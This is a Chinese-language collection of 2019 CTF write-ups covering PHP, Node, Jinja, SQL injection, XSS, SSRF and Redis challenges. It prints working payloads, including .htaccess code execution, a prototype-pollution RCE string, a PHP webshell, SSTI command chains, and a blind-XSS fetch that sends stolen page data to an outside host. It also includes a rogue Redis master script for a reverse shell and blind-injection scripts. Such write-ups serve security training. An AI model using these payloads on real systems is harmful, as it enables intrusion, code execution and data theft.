2019WriteUp 汇总 VOL 2

  17 mins to read  

List [CTL]

    2019XNUCA

    自闭比赛,24小时才成功签到

    只有30+队伍做出了题,190+队伍光头orz

    ezphp

    <?php
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        include_once("fl3g.php");
        if(!isset($_GET['content']) || !isset($_GET['filename'])) {
            highlight_file(__FILE__);
            die();
        }
        $content = $_GET['content'];
        if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
            echo "Hacker";
            die();
        }
        $filename = $_GET['filename'];
        if(preg_match("/[^a-z\.]/", $filename) == 1) {
            echo "Hacker";
            die();
        }
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        file_put_contents($filename, $content . "\nJust one chance");
    ?>
    

    题目通过php_admin_flag设置了只解析index.php

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    php_admin_flag engine off
    
    <Location /index.php>
    	AllowOverride None
    	Require all grante
        php_admin_flag engine on
    </Location>
    

    尝试写入.htaccess修改解析规则但在content后附加了\nJust one chance,由于htaccess的解析器解析错误而500,且htaccess没有多行注释

    尝试后发现可使用\来拼接后一行达到吃掉换行的目的

    ErrorDocument 404 a\
    Just one chance
    

    但这里由于空格的存在还是会解析错误,所以使用双引号(双引号没闭合htaccess的解析引擎能正常推断)

    ErrorDocument 404 "a\
    Just one chance
    

    然后通过prepend来包含htaccess自身,在双引号中添加PHP代码

    一样通过反引号绕过字符限制,最终payload

    php_value auto_prepend_fi\
    le ".htaccess"
    ErrorDocument 404 "<?php system('cat /root/fl[a]g.txt'); ?>\
    Just one chance
    
    import requests
    
    url = 'http://1c79276efba8487ea2a79fb1ec248297c5e789d7f36e4a98.changame.ichunqiu.com/'
    requests.get(url)
    r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat /root/fl[a]g.txt\');?>\\')
    print(r.text)
    

    hardjs

    Express应用,看了一遍源码就知道是prototype原型链污染,猜测是RCE或者和MySQL交互,奈何不会做

    通过node的package_lock找到lodash版本,找到一个CVE

    https://snyk.io/vuln/SNYK-JS-LODASH-450202

    但是当时卡在newContent[req.body.type] = [ req.body.content ]这里强行包裹了array好像和POC不一样,本地测试了几次失败了以为得绕过这里。最后才知道locash.defaultsDeep是会递归操作的

    然后就是正常思路污染原型链,通过JSON可以污染到string或int或array等属性,所以需要找到一个eval动态执行的地方才能达到RCE,通过动态的模版库ejs

    看源码找到一个拼接的地方,然后就可以注入代码了

    payload:

    {"type":"x","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
    process.env.FLAG"}}}
    

    发包五次访问首页,触发defaultDeep,然后再访问模版渲染的地方也就是登录注册页即可get flag

    (所以那个sandbox是干嘛用的)


    第五空间大赛

    体验极差的比赛,脑洞题+菜运维+破平台

    空相

    ?id=1’

    五叶

    万能密码,脑洞,必须得select出admin那条数据

    user=admin&password=1')||username like 'admin'-- -

    空性

    .swp文件泄露,简单审计,通过php://input绕过

    ?fname=php://filter

    POST: whoami

    来到后台文件上传,发现?file参数包含了同目录一个文件,fuzz(脑洞)发现只能包含html文件,且需去掉后缀

    上传一个html文件:<?php $f = $_GET[f]; $f($_GET[s]); ?>,包含:?file=upload/xxxxxxxx,成功getshell

    六尘

    正解,通过SSRF扫描端口,发现8080开了tomcat,title为apache tomcat 8.0.53

    通过gopher攻击内网的struts2

    非预期,log目录泄露了apache的access_log,直接访问flag页


    2019护网杯

    SSTI

    忘记题目名是什么了,大概就是Jinja SSTI,过滤了d, _, lower, [, ], ',因为没有_[],所以按常规方法无法访问到魔术属性,赛后sec wiki转了一篇文章

    https://0day.work/jinja2-template-injection-filter-bypasses/amp/

    通过Jinjs的过滤器来访问属性,这样就解决了过滤方括号的限制且可以任意拼接字符串

    题目源码大概是这样

    from flask import Flask, render_template, render_template_string, request
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        exploit = request.args.get('code')
        for w in ['d', '_', 'lower', "'", '[', ']']:
            if w in exploit:
                return w
        rendered_template = "%s" %exploit
    
        return render_template_string(rendered_template)
    
    if __name__ == "__main__":
        app.run(debug=True)
    

    payload:

    /?code={% set x,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,c=request.args.x,request.args.a1,request.args.a2,request.args.a3,request.args.a4,request.args.a5,request.args.a6,request.args.a7,request.args.a8,request.args.a9,request.args.a10,request.args.a11,request.args.c %}
    {{""|attr((x*2,a2,x*2)|join)|attr((x*2,a3,x*2)|join)|attr((x*2,a1,x*2)|join)(-1)|attr((x*2,a4,x*2)|join)()|attr((x*2,a1,x*2)|join)(54)|attr((x*2,a5,x*2)|join)|attr((a6,x,a7)|join)|attr((x*2,a1,x*2)|join)(a8)|attr(a9)|attr(a10)(c)|attr(a11)()}}&x=_&a1=getitem&a2=class&a3=mro&a4=subclasses&a5=init&a6=func&a7=globals&a8=linecache&a9=os&a10=popen&a11=read&c=whoami
    

    也就是

    "".__class__.__mro__[-1].__subclasses__()[54].__init__.func_globals['linecache'].os.popen('whoami').read()
    

    byteCTF

    Dot_Server_Prove

    首发于先知社区 https://xz.aliyun.com/t/6312

    没得图床,直接搬来了

    访问/robots.txt,下载parse文件

    拖到IDA里一看函数名,发现是GO语言的二进制文件

    strings一下发现一些奇怪的字符串

    1568026937893.png

    1568026775873.png

    /var/log/nginx/dot.access.log
    cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
    

    关于dot server,搜到这样一篇文章:https://www.cnblogs.com/yjf512/p/3773196.html,所以确定了服务器的用途

    在题目源码中看到

    var ajax = new XMLHttpRequest();
        ajax.open('get','http://dot.whizard.com/123');
        ajax.send();
        ajax.onreadystatechange = function () {
    }
    

    修改hosts指向后访问,发现和文章描述一样,是个1*1的gif

    根据那条awk指令的用途,是处理nginx日志[空格]"分割的最后一个字符,查了一下默认的nginx日志格式:

    log_format main   
    '$remote_addr - $remote_user [$time_local] "$request" '
    '$status $body_bytes_s ent "$http_referer" '
    '"$http_user_agent" "$http_x_forwarded_for"'
    

    然后开始Fuzz XFF头,猜测有两种攻击方式:

    • SQLi时间盲注
    • XSS

    命令注入由于日志是逐行迭代处理所以不太可能

    测试了半天也没有结果,然后放了hint是UA……

    Fuzz了一下UA,发现是XSS盲打

    1568028201080.png

    发现Referer来自127.0.0.1:8080

    访问8080端口:

    fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})
    

    提示robots.txt

    1568028747343.png

    访问robots.txt有一个curl.php,访问后发现是一个没有防御的SSRF

    1568028519767.png

    尝试读本地文件,读了一堆没有发现Flag

    然后根据Nginx猜测是攻击FPM,试了几次没有成功

    然后试着扫一下端口和内网C段,通过Beef hook了题目主机,扫描了一下发现隔壁主机开着6379(没有截图,写WP时bot已经挂了)

    未授权访问是肯定的,写Shell或Crontab感觉不太可能,所以联想到了Redis master-slave-sync的RCE,但是这里由于在内网只能通过Gopher协议访问

    研究了一下Redis RCE脚本,发现是在本机模拟了文件同步操作的master服务器,然后向远程6379服务器发送了slave of 指令,接着通过主从复制传送了执行系统命令的.so module,最后通过6379发送load module并执行命令

    所以只需要在VPS上模拟master服务器,然后通过Gopher把发往6379的数据包打过去

    监听VPS 9999端口的脚本

    import socket
    import sys
    import struct
    import re
    
    payload = open('exp.so', 'r').read()
    
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
    s.bind(('0.0.0.0', 9999))
    s.listen(5)
    conn, addr = s.accept()
    print(addr)
    
    CLRF = '\r\n'
    
    def dout(sock, msg):
        verbose = 1
        if type(msg) != bytes:
            msg = msg.encode()
        sock.send(msg)
        if verbose:
            if sys.version_info < (3, 0):
                msg = repr(msg)
            if len(msg) < 300:
                print("\033[1;32;40m[<-]\033[0m {}".format(msg))
            else:
                print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
    
    
    def handle(data):
        resp = ""
        phase = 0
        if data.find("PING") > -1:
            resp = "+PONG" + CLRF
            phase = 1
        elif data.find("REPLCONF") > -1:
            resp = "+OK" + CLRF
            phase = 2
        elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
            resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase
    
    
    def din(sock, cnt):
        msg = sock.recv(cnt)
        verbose = 1
        if verbose:
            if len(msg) < 300:
                print("\033[1;34;40m[->]\033[0m {}".format(msg))
            else:
                print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
        if sys.version_info < (3, 0):
            res = re.sub(r'[^\x00-\x7f]', r'', msg)
        else:
            res = re.sub(b'[^\x00-\x7f]', b'', msg)
        return res.decode()
    
    
    def exp():
        try:
            cli = conn
            while True:
                data = din(cli, 1024)
                if len(data) == 0:
                    break
                resp, phase = handle(data)
                dout(cli, resp)
                if phase == 3:
                    break
        except Exception as e:
            print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e))
            #cleanup(self._remote, self._file)
            exit(0)
        except KeyboardInterrupt:
            print("[-] Exit..")
            exit(0)
    
    exp()
    

    然后抓取redis-rce.py发往6379的包,修改其中主从复制回连和反弹shell的IP和端口

    这里共抓取了三段流量,第一二段之间需要停顿3秒左右保证文件同步完成,通过XSS分三步发送

    1568029308933.png

    VPS上接收的同步请求:

    1568029449668.png

    接收到反弹的shell

    1568029517420.png


    第五空间线下决赛

    时间太久记不清了,貌似就两道WEB,一道常规SSTI,一道order by注入。不让连外网没想起来order by field[,1]可以绕过,有点亏

    主办方最窒息的操作是彩蛋题…


    数字经济云安全大赛

    gameapp

    安卓模拟器设置fiddler代理抓包,选取30pts的得分数据包重放即可

    import requests
    
    
    url = 'http://121.40.219.183:9999'
    #url = 'http://127.0.0.1:4444'
    h = {
        'Content-type': 'xxx',
        'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 5.1.1; Nexus 6 Build/LYZ28N)',
    }
    s = requests.Session()
    r = s.post(url+'/score/', data="""MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
    BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
    x+T7s4zN0ahrEdOqC+8=\n""", headers=h, cookies={'session': 'eyJwbGF5ZXIiOiIzbmQiLCJzY29yZSI6Nn0.XYQ7uw.-CYaJsjiNdqnC4ni3Xmwb27vubw'})
    
    for i in range(10000):
        r = s.post(url+'/score/', data="""MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
        BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
        x+T7s4zN0ahrEdOqC+8=\n""", headers=h)
        
    
        print(r.text)
        print(r.headers)
    

    findme

    二分,整数触发存在误差,二分结束后遍历-10~+10区间即可

    import socket
    
    addr = ('121.40.216.20', 9999)
    #addr = ('127.0.0.1', 9999)
    s = socket.socket()
    s.connect(addr)
    
    # random secret
    
    sky = pow(2, 128)
    
    # newground > 0 && newsky < 2^128 && newsky > newgound
    newsky = sky - 1
    newground = 1
    
    step = (newsky - newground) / 3
    g = 0
    
    def solve_bin():
        print('start solve binary')
        ss = step
        g1 = g
        g2 = g1 + ss/2
        
        for i in range(200):
            if g1 == g2:
                exp(g1)
                
            print('g1: '+str(g1))
            print('g2: '+str(g2))
    
            s.recv(1024)
            s.send(hex(newground)[2:].strip('L'))
            s.recv(1024)
            s.send(hex(newsky)[2:].strip('L'))
    
            print(s.recv(64))
            s.send(hex(g1)[2:].strip('L'))
            print(s.recv(64))
            s.send(hex(g2)[2:].strip('L'))
            r = s.recv(64)
            print(r)
            ss /= 2
            if r.strip('\n') == '1':
                g2 = g1 + ss
            else:
                g1 = g2
                g2 = g1 + ss
    
    def exp(g):
        g = g - 10
        for i in range(20):
            g += 1
            s.recv(1024)
            s.send(hex(newground)[2:].strip('L'))
            s.recv(1024)
            s.send(hex(newsky)[2:].strip('L'))
    
            print(g)
            s.recv(64)
            s.send(hex(g)[2:].strip('L'))
            s.recv(64)
            s.send(hex(g)[2:].strip('L'))
            r = s.recv(64)
            if 'flag' in r:
                print r
                exit()
    
    
    for i in range(200):
        print s.recv(1024)
        print hex(newground)[2:].strip('L')
        s.send(hex(newground)[2:].strip('L'))
        print s.recv(1024)
        print hex(newsky)[2:].strip('L')
        s.send(hex(newsky)[2:].strip('L'))
    
        print(s.recv(64))
        g1 = g
        s.send(hex(g1)[2:].strip('L'))
        print(s.recv(64))
        g2 = g + step
        s.send(hex(g2)[2:].strip('L'))
    
        r = s.recv(64)
        print(r)
        if r.strip('\n') == '1':
            # in the middle
            solve_bin()
        else:
            g += step
    

    CUMTCTF2019 Final

    签到题

    seed=0e1

    hash=QNKCDZO


    SQL注入

    基础无列名注入

    /list.php?id=-1%27%20uniunionon%20(seleselectct%201,2,c%20from(selselectect%201,2%20c%20ununionion%20seselectlect%20*%20from%20f1ag1nit)b)limit%201,1--%20-
    

    PHPSQL?

    SQLite3二次+时间盲注

    利用PCRE的回溯进行延时,利用二次注入修改commentsize进入不同if分支触发延时条件

    二次注入点:

    $comment = $_POST['comment'];
    $sql = "select user from users where id = '".$this->userid."'";
    $db = new Data_db();
    @$ret = $db->querySingle($sql) or 0;
    $db->close();
    $username = $ret;
    $email = $username."@ctf.com";
    $sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where userid = ".$this->userid;
    

    延时条件:

    if(( $comment_size + $br_padding) > $max_comment_size)
    {
        //移除掉所有html标签
        $comment = preg_replace('/(<.*>)+/','',$comment);
        if(strlen($comment) > $max_comment_size)
        {
    
            return true;
        }
        else
        {
            $email = "admin@ctf.cn";
    
            return true;
        }
    }
    else
    {
        //只移除br标签
        $comment = preg_replace('/(<(\/)?br>)+/','',$comment);
        $email = "admin@ctf.cn";
    
        return true;
    }
    

    if分支内存在*的贪婪匹配,而else分支内只匹配3个字符

    利用<><<<<<<<<<<<<<<<<<<<<<<<<<<<使PCRE回溯延时

    import requests
    
    base = 'http://134.175.2.73:8000'
    reg = base + '/index.php?action=register'
    login = base + '/index.php?action=index'
    comment = base + '/index.php?action=profile'
    logout = base+'/index.php?action=logout'
    
    flag = 'J:b'
    
    for i in range(4, 6):
        for w in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|':
            s = requests.Session()
            payload = f"',commentsize=(case when(substr((select code from admin limit 1),{i},1)='{w}') then 0 else 99999 end)--"
            print(payload)
            r = s.post(reg, data={
                'username': payload,
                'password': 'admin',
            })
    
            r = s.post(login, data={
                'username': payload,
                'password': 'admin',
            })
    
            try:
                r = s.post(comment, data={
                    'comment': '<>'+ '<' * 90000,
                    'blog': 'sss',
                    'padding': '0',
                }, timeout=5)
            except:
                flag += w
                break
            finally:
                s.get(logout)
    
        print(flag)
    

    XSS_1

    CSP允许加载pastebin.com/overwatch/,需绕过路径限制

    二次编码/overwatch/../raw/xxxxx

    http://120.78.164.84:49099/9bfaf0c2/?name=https://pastebin.com/overwatch%252F..%252Fraw/TwueyDBm
    

    XSS_2

    过滤%2F,编码2和f绕过

    http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%25%32%46..%25%32%46raw/TwueyDBm
    

    成功alert,但没flag,出题人说非预期换种思路

    换种思路,根据三种解析器顺序,实体编码

    http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%26%2337;%26%2350;%26%2370;..%26%2337;%26%2350;%26%2370;raw/TwueyDBm
    

    再次alert,还是没flag…??

    出题人说考点是&percnt???

    http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%26percnt;2f..%26percnt;2fraw/TwueyDBm
    

    数字经济云安全线下决赛

    RealWorld

    两道题都挺简单,水了个一血,不细说了

    Qclound

    可以下划线代替空格绕WAF…? 青云的WAF是真的nb

    也可HPP绕(看别的师傅还有超长前置参数)

    后端是SQLite数据库

    JDyun

    脑洞题,莫名其妙

    token提示length错误,需永真式绕

    然后从数据库里取出字符串当作PHP函数执行

    ?cmd=submitcmd&token=111'or'1&command='union select 1,2,'get_defined_functions
    

    有一个get_lower_flag函数,调用即得flag


    Aliyun

    这题是初赛的原题,当时被人删库就下线了,结果到了决赛挂了个阿里云WAF重新上线(初赛还有提示set/prepare不能同时出现,决赛啥都没,服了)

    阿里云WAF祭出--%0A大法绕,最后还是堆叠+预编译思路(和强网杯一样),通过select into 替代setselect 0xFFFF into @a;prepare s from @a


    2019 3CTF

    上午理论拿了个1st place,之后的解题就很难受了

    misc什么的就不说了

    WEB有点摸不着头脑,不过赛后看了WP,题目质量还是不错的,但时间太短了,这种题目给个36小时是差不多的(当天还和巅峰极客冲了)

    WP见https://www.anquanke.com/post/id/189634


    2019姑苏区天创杯

    拿了个2nd place,这个比赛貌似是苏州市人才选拔活动月的打头项目,其实个人而言对极光无限还是挺感兴趣的

    CTF

    很多原题,还不让外网,1.25小时一共15道题是真的nb,特别吐槽论剑场小饼干那道题,有点想笑

    靶机渗透

    第一台就是常规的扫端口,扫目录

    获取源码从web.xml获取MSSQL密码,远程连接后启用xp_cmdshell,然后传mimikatz抓密码,开3389,socks5代理出来,上去后最后一个key是管理员桌面上我的电脑的重命名…

    第二台扫出5321开放web服务,文件上传fuzz出[space][space]"绕过….赛后问的主办方,搞不懂哦,后面就是常规传马提权


    2019慕测安恒杯预选赛

    基本ak,大都是水题或原题,除了去年卖给安恒那道HHKB(貌似没放出来过?)说实话这题是当时水稿费的,题目略带脑洞,不过知识点还是很简单的,简单FUZZ就能出

    WP就不写了,按安恒去年的套路大概之后的系列赛还会放这些原题